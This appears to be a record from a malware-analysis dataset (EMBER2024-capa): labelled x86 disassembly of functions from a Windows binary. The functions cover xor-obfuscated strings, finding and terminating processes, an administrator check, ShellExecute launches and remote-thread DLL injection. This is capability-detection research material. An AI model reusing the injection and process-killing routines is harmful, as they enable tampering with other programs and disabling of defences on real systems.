joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44a940
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x523034]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x44aa80
cmp byte [ebx + 0x3d], 0
je 0x44aa80
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x44a98d
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.004aa896
mov esp, ebp
pop ebp
ret
push 0
push 8
lea ecx, [esp + 0x1c]
mov dword [esp + 0x30], 0xf
mov dword [esp + 0x2c], 0
mov byte [esp + 0x1c], 0
call fcn.0044a6c0
mov ecx, dword [esp + 0x28]
cmp ecx, 0x10
lea eax, [esp + 0x10]
mov ecx, dword [ebx + 0x38]
lea edi, [esp + 0x14]
cmovae edi, dword [esp + 0x14]
lea esi, [esp + 0x14]
cmovae esi, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x28]
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x44a9f8
sub eax, 1
je 0x44a9fc
mov ecx, dword [esp + 0x28]
sub eax, 2
je 0x44aa56
xor bl, bl
jmp 0x44aa58
mov byte [ebx + 0x3d], 0
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x14]
mov edx, dword [esp + 0x14]
cmp ecx, 0x10
mov esi, dword [esp + 0x10]
cmovae eax, edx
sub esi, eax
je 0x44aa37
push dword [ebx + 0x4c]
cmp ecx, 0x10
lea eax, [esp + 0x18]
push esi
cmovae eax, edx
push 1
push eax
call fcn.004b65b1
mov ecx, dword [esp + 0x38]
add esp, 0x10
cmp esi, eax
jne 0x44a9f4
cmp byte [ebx + 0x3d], 0
je 0x44aa56
test esi, esi
jne 0x44a9b3
push esi
push 8
lea ecx, [esp + 0x1c]
call fcn.0044a790
jmp 0x44a9af
mov bl, 1
cmp ecx, 0x10
jb 0x44aa6c
inc ecx
push ecx
push dword [esp + 0x18]
lea ecx, [esp + 0x1c]
call fcn.00446440
mov al, bl
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.004aa896
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x2c]
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004aa896
mov esp, ebp
pop ebp
ret
Function at 0x44dae0
Capabilities:
Create directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae ecx, dword [ebp + 8]
push esi
call fcn.00459f90
test al, al
jne 0x44dc31
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push 0x51a748
call esi
push 0
push str.Object
call esi
push 0
push str.Item
call esi
push 0
push 0x51a74c
call esi
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
lea ecx, [ebp - 0xb8]
cmovae eax, dword [ebp + 8]
sub esp, 8
push 2
push eax
call fcn.0044e990
lea ecx, [ebp - 0xb4]
call fcn.0044ab80
test eax, eax
jne 0x44db82
mov eax, dword [ebp - 0xb8]
lea ecx, [ebp - 0xb8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.00447350
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push 0x51a760
cmovae eax, dword [ebp + 8]
push eax
call fcn.004b6f50
push 0
mov esi, eax
push 0
push esi
call fcn.004b6e69
add esp, 0x14
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push 1
push 4
push eax
call fcn.004b65b1
push esi
call fcn.004b52dc
mov eax, dword [ebp - 0xb8]
add esp, 0x14
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xb8], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xbc], eax
lea ecx, [ebp - 0xb4]
call fcn.00449130
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xb8], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0xbc], eax
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x50], vtable.std::ios_base.0
call fcn.004ac43f
add esp, 4
mov eax, dword [ebp + 0x1c]
cmp eax, 0x10
jb 0x44dc46
inc eax
lea ecx, [ebp + 8]
push eax
push dword [ebp + 8]
call fcn.00446440
pop esi
mov esp, ebp
pop ebp
ret 0x18
Function at 0x44fd70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
movzx eax, cl
imul eax, eax, 0x9d
push edi
mov edi, 0x86d
mov dword [ebp - 4], eax
xor eax, eax
test ecx, ecx
jle 0x44fdce
mov ecx, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
sub ebx, ecx
nop dword [eax]
lea esi, [eax + ecx]
mov ecx, eax
and ecx, 7
inc eax
mov dl, byte [ecx + 0x534240]
mov ecx, edi
xor dl, byte [ebx + esi]
sar ecx, 8
xor dl, cl
imul edi, edi, 0x87b
xor dl, byte [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov byte [esi], dl
cmp eax, dword [ebp + 8]
jl 0x44fda0
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x44fde0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 1
mov dword [0x52d81c], edx
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x52d81c], edx
inc eax
cmp eax, 0x270
jl 0x44fdf1
mov dword [0x52d818], 0x270
pop ebp
ret 8

Function at 0x44fed0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push esi
push edi
mov edi, ecx
mov esi, dword [edi]
mov eax, dword [esi]
cmp eax, 0x270
jne 0x44fee8
mov ecx, esi
call fcn.0044ff40
jmp 0x44fef6
cmp eax, 0x4e0
jb 0x44fef6
mov ecx, esi
call fcn.0044ff90
mov eax, dword [esi]
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
xor edx, edx
cmp edx, dword [edi + 0xc]
ja 0x44fed4
jb 0x44ff3b
cmp eax, dword [edi + 8]
ja 0x44fed4
pop edi
pop esi
ret

Function at 0x44ff40
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
lea eax, [ecx + 8]
mov esi, 0x270
nop dword [eax]
mov edx, dword [eax - 4]
lea eax, [eax + 4]
xor edx, dword [eax - 4]
and edx, 0x7fffffff
xor edx, dword [eax - 8]
mov ecx, edx
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [eax + 0x62c]
xor ecx, edx
mov dword [eax + 0x9b8], ecx
sub esi, 1
jne 0x44ff50
pop esi
ret
Function at 0x44ff90
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, ecx
mov ecx, 0xe3
push esi
push edi
lea edi, [ebx + 0x9c4]
mov edx, dword [edi + 4]
lea edi, [edi + 4]
xor edx, dword [edi - 4]
and edx, 0x7fffffff
xor edx, dword [edi - 4]
mov eax, edx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr edx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, edx
mov dword [edi - 0x9c4], eax
sub ecx, 1
jne 0x44ffa0
lea esi, [ebx + 0xd50]
mov edi, 0x18c
mov ecx, dword [esi + 4]
lea esi, [esi + 4]
xor ecx, dword [esi - 4]
and ecx, 0x7fffffff
xor ecx, dword [esi - 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi - 0xd50]
xor eax, ecx
mov dword [esi - 0x9c4], eax
sub edi, 1
jne 0x44ffe2
mov ecx, dword [ebx + 0x1380]
xor ecx, dword [ebx + 4]
and ecx, 0x7fffffff
xor ecx, dword [ebx + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx + 0x634]
xor eax, ecx
mov dword [ebx + 0x9c0], eax
mov dword [ebx], edi
pop edi
pop esi
pop ebx
ret
Function at 0x451260
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x523034]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
mov word [ebp - 8], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4512b9
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push esi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x4512c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4512d6
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 0x10], 0
test esi, esi
jne 0x4512ec
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
xor ecx, ebp
pop esi
call fcn.004aa896
mov esp, ebp
pop ebp
ret
push 0x521070
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
push eax
call fcn.004af2c4
int3

Function at 0x451300
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x523034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x140], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4513e0
nop dword [eax + eax]
movaps xmm0, xmmword [str._fnoSyhmxi_iti]
xor eax, eax
movups xmmword [ebp - 0x14], xmm0
nop dword [eax]
mov cl, byte [ebp - 0x14]
xor byte [ebp + eax - 0x13], cl
inc eax
cmp eax, 0xe
jb 0x451360
mov byte [ebp - 5], 0
lea ecx, [ebp - 0x13]
lea eax, [ebp - 0x11c]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4513a0
test dl, dl
je 0x45139c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4513a0
add eax, 2
add ecx, 2
test dl, dl
jne 0x451380
xor eax, eax
jmp 0x4513a5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4513ca
push dword [ebp - 0x138]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4513ca
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
lea eax, [ebp - 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x451350
cmp edi, 0xffffffff
je 0x4513e8
push edi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004aa896
mov esp, ebp
pop ebp
ret
Function at 0x451400
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x523034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov bl, dl
mov dword [ebp - 0x138], ecx
push 2
mov byte [ebp - 0x131], bl
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4514ae
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [ebp - 0x138]
lea ecx, [ebp - 0x10c]
nop dword [eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x451490
test dl, dl
je 0x45148c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x451490
add ecx, 2
add eax, 2
test dl, dl
jne 0x451470
xor eax, eax
jmp 0x451495
sbb eax, eax
or eax, 1
test eax, eax
jne 0x45149a
inc esi
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
test eax, eax
jne 0x451460
mov bl, byte [ebp - 0x131]
cmp edi, 0xffffffff
je 0x4514ba
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x4514d5
cmp esi, 1
setl al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004aa896
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
cmp esi, 1
pop edi
setle al
xor ecx, ebp
pop esi
pop ebx
call fcn.004aa896
mov esp, ebp
pop ebp
ret
Function at 0x452bd0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x523034]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, cl
mov ecx, dword [0x534164]
push ebx
push esi
cmp dword [ecx + 0x18], 0
je 0x452d00
movzx esi, al
lea eax, [esi + 1]
cmp dword [ecx + 0x100], eax
jb 0x452d00
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], esi
push eax
lea eax, [ebp - 0xc]
add ecx, 0xfc
push eax
call fcn.00456750
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x3c], 0
jbe 0x452d00
mov ecx, dword [0x534164]
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x44], esi
push eax
lea ecx, [ecx + 0xfc]
call fcn.00456750
mov esi, dword [ebp - 0x4c]
mov ch, 0x56
mov al, 0x79
mov byte [ebp - 0xc], ch
mov dl, 0x33
mov byte [ebp - 6], 0
xor dl, ch
mov byte [ebp - 6], 0
mov ah, al
mov byte [ebp - 9], dl
mov edx, dword [0x534164]
xor al, ch
xor ah, ch
mov byte [ebp - 0xb], al
mov cl, 0x38
mov byte [ebp - 7], ah
xor cl, ch
lea eax, [ebp - 0xb]
mov bl, 0x21
mov byte [ebp - 0xa], cl
xor bl, ch
lea edx, [edx + 8]
push eax
lea ecx, [ebp - 0x3c]
mov byte [ebp - 8], bl
call fcn.0044c1c0
add esp, 4
lea ecx, [esi + 0x2c]
push 0xffffffffffffffff
push 0
push ecx
mov ecx, eax
call fcn.004460f0
push eax
lea ecx, [ebp - 0x24]
call fcn.004459f0
cmp dword [ebp - 0x10], 0x10
lea eax, [ebp - 0x24]
push 5
cmovae eax, dword [ebp - 0x24]
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [ebp - 0x10]
cmp eax, 0x10
jb 0x452cd9
inc eax
lea ecx, [ebp - 0x24]
push eax
push dword [ebp - 0x24]
call fcn.00446440
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], 0xf
mov dword [ebp - 0x14], 0
mov byte [ebp - 0x24], 0
cmp eax, 0x10
jb 0x452d00
inc eax
lea ecx, [ebp - 0x3c]
push eax
push dword [ebp - 0x3c]
call fcn.00446440
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004aa896
mov esp, ebp
pop ebp
ret
Function at 0x452d10
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 4
push 0x3000
push 0x104
mov edi, ecx
mov esi, edx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x452da2
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x452d40
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x452d9b
push 0
push 0
push ebx
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
jne 0x452dac
lea ecx, [esi + 1]
nop dword [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x452d80
sub esi, ecx
push 0x8000
lea eax, [esi + 1]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x452da2
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x452dc6
sub esi, ecx
push 0x8000
lea eax, [esi + 1]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x453ee0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x523034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 3
mov ebx, ecx
call fcn.00460fb0
add esp, 4
call fcn.00460d40
mov edi, eax
mov dword [ebx + 0x14], 0xf
mov dword [ebx + 0x10], 0
mov byte [ebx], 0
test edi, edi
je 0x454013
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
push 0x2712
push edi
call fcn.004653d0
add esp, 0xc
push 0
push 0x40
push edi
call fcn.004653d0
add esp, 0xc
push 0
push 0x51
push edi
call fcn.004653d0
add esp, 0xc
push 0x453eb0
push 0x4e2b
push edi
call fcn.004653d0
add esp, 0xc
push ebx
push 0x2711
push edi
call fcn.004653d0
add esp, 0xc
push 1
push 0x29
push edi
call fcn.004653d0
add esp, 0xc
push edi
call fcn.00460d80
mov esi, eax
add esp, 4
test esi, esi
je 0x45400a
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.00445e90
call fcn.00459810
movaps xmm0, xmmword [0x51b010]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
movaps xmm0, xmmword [str.__zr43__76hrw_]
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x1e
jb 0x453fd1
push esi
mov byte [ebp - 5], 0
call fcn.004619f0
sub esp, 0x14
mov esi, esp
push eax
sub esp, 0x18
lea eax, [ebp - 0x23]
mov ecx, esp
push eax
call fcn.00445a70
push esi
call fcn.0045a3f0
add esp, 0x20
call fcn.00459810
push edi
call fcn.00460d00
add esp, 4
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x454028
inc ecx
push ecx
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.00446440
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004aa896
mov esp, ebp
pop ebp
ret

Function at 0x454590
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
nop dword [eax]
push 0xfa
call esi
mov eax, dword [0x533e7c]
test eax, eax
je 0x4545b0
cmp dword [0x534104], 0
je 0x4545b0
push eax
push 1
push 0x1fffff
call edi
cmp eax, 0xffffffff
je 0x4545b0
push 0
push 1
lea ecx, [ebp - 1]
push ecx
push 0x400000
push eax
call ebx
test eax, eax
jne 0x4545b0
push dword [0x534104]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x454c50
Capabilities:
Create process on windows

Disassembly:
cmp dword [0x534034], 2
jne 0x454ca2
mov eax, dword [0x534164]
cmp byte [eax + 0x258], 0
je 0x454ca2
cmp dword [eax + 0xd8], 0
jbe 0x454ca2
add eax, 0xc8
mov dword [0x5341b0], 1
mov dword [0x534034], 1
cmp dword [eax + 0x14], 0x10
jb 0x454c91
mov eax, dword [eax]
push 9
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret

Function at 0x454cb0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x534018], 2
jne 0x454d0f
mov edx, dword [0x534164]
add edx, 8
cmp dword [edx + 0x14], 0x10
jb 0x454cd0
mov ecx, dword [edx]
jmp 0x454cd2
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x454cd6
sub ecx, esi
pop esi
je 0x454d0f
cmp dword [edx + 0x14], 0x10
mov dword [0x534194], 1
mov dword [0x534018], 1
jb 0x454cfe
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret
Function at 0x454d20
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x523034]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x53401c], 2
jne 0x454e73
push ebx
xor cl, cl
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 5], cl
mov al, 0x3f
xor al, byte [ebp - 0x10]
mov bh, 0x15
xor cl, byte [ebp - 0x10]
mov ah, 0x1f
mov byte [ebp - 0xf], al
mov dl, 4
mov byte [ebp - 0xe], cl
mov ch, 0x1e
mov cl, byte [ebp - 0x10]
mov dh, 0x5e
mov byte [ebp - 0x35], 8
xor ah, cl
mov al, byte [ebp - 0x35]
mov bl, 0x19
xor al, cl
mov byte [ebp - 0x36], bh
mov byte [ebp - 7], al
xor dl, cl
mov al, byte [ebp - 0x36]
xor bl, cl
push 9
push 0
xor al, cl
mov byte [ebp - 0xb], ah
push 0
mov byte [ebp - 6], al
xor ch, cl
lea eax, [ebp - 0xf]
mov dword [0x534198], 1
push eax
push 0
xor dh, cl
mov dword [0x53401c], 1
xor bh, cl
mov byte [ebp - 0xd], dl
push 0
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xa], ch
mov byte [ebp - 9], dh
mov byte [ebp - 8], bh
mov byte [ebp - 5], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
jne 0x454e6a
movaps xmm0, xmmword [0x51b0e0]
mov al, 0x7a
mov byte [ebp - 0x1c], 0x36
mov cl, 0x57
xor al, byte [ebp - 0x1c]
mov ch, 0x5e
mov byte [ebp - 0x1b], al
mov dl, 0x43
mov al, byte [ebp - 0x1c]
mov bl, 0x58
mov ah, 0x55
mov byte [ebp - 0x13], 0
mov dh, 0x53
mov byte [ebp - 0x13], 0
mov bh, 0x44
mov dword [ebp - 0x24], 0x1c071d14
xor cl, al
mov word [ebp - 0x20], 0x5c16
xor ch, al
mov byte [ebp - 0x1a], cl
xor dl, al
mov byte [ebp - 0x16], ch
xor bl, al
mov byte [ebp - 0x19], dl
xor ah, al
mov byte [ebp - 0x18], bl
xor dh, al
mov byte [ebp - 0x17], ah
xor bh, al
mov byte [ebp - 0x15], dh
mov byte [ebp - 0x14], bh
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
mov byte [ebp - 0x1e], 0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x15
jb 0x454e34
push 0x40
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x1e], 0
push eax
lea eax, [ebp - 0x33]
push eax
push dword [0x534188]
call dword [sym.imp.USER32.dll_MessageBoxA]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004aa896
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004aa896
mov esp, ebp
pop ebp
ret

Function at 0x454e90
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x534024], 2
jne 0x454eef
mov edx, dword [0x534164]
add edx, 0x20
cmp dword [edx + 0x14], 0x10
jb 0x454eb0
mov ecx, dword [edx]
jmp 0x454eb2
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x454eb6
sub ecx, esi
pop esi
je 0x454eef
cmp dword [edx + 0x14], 0x10
mov dword [0x5341a0], 1
mov dword [0x534024], 1
jb 0x454ede
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret
Function at 0x454f00
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x534028], 2
jne 0x454f5f
mov edx, dword [0x534164]
add edx, 0x38
cmp dword [edx + 0x14], 0x10
jb 0x454f20
mov ecx, dword [edx]
jmp 0x454f22
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x454f26
sub ecx, esi
pop esi
je 0x454f5f
cmp dword [edx + 0x14], 0x10
mov dword [0x5341a4], 1
mov dword [0x534028], 1
jb 0x454f4e
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x454f70
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x53402c], 2
jne 0x454fcf
mov edx, dword [0x534164]
add edx, 0x50
cmp dword [edx + 0x14], 0x10
jb 0x454f90
mov ecx, dword [edx]
jmp 0x454f92
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x454f96
sub ecx, esi
pop esi
je 0x454fcf
cmp dword [edx + 0x14], 0x10
mov dword [0x5341a8], 1
mov dword [0x53402c], 1
jb 0x454fbe
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x454fe0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x534030], 2
jne 0x45503f
mov edx, dword [0x534164]
add edx, 0x68
cmp dword [edx + 0x14], 0x10
jb 0x455000
mov ecx, dword [edx]
jmp 0x455002
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x455006
sub ecx, esi
pop esi
je 0x45503f
cmp dword [edx + 0x14], 0x10
mov dword [0x5341ac], 1
mov dword [0x534030], 1
jb 0x45502e
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret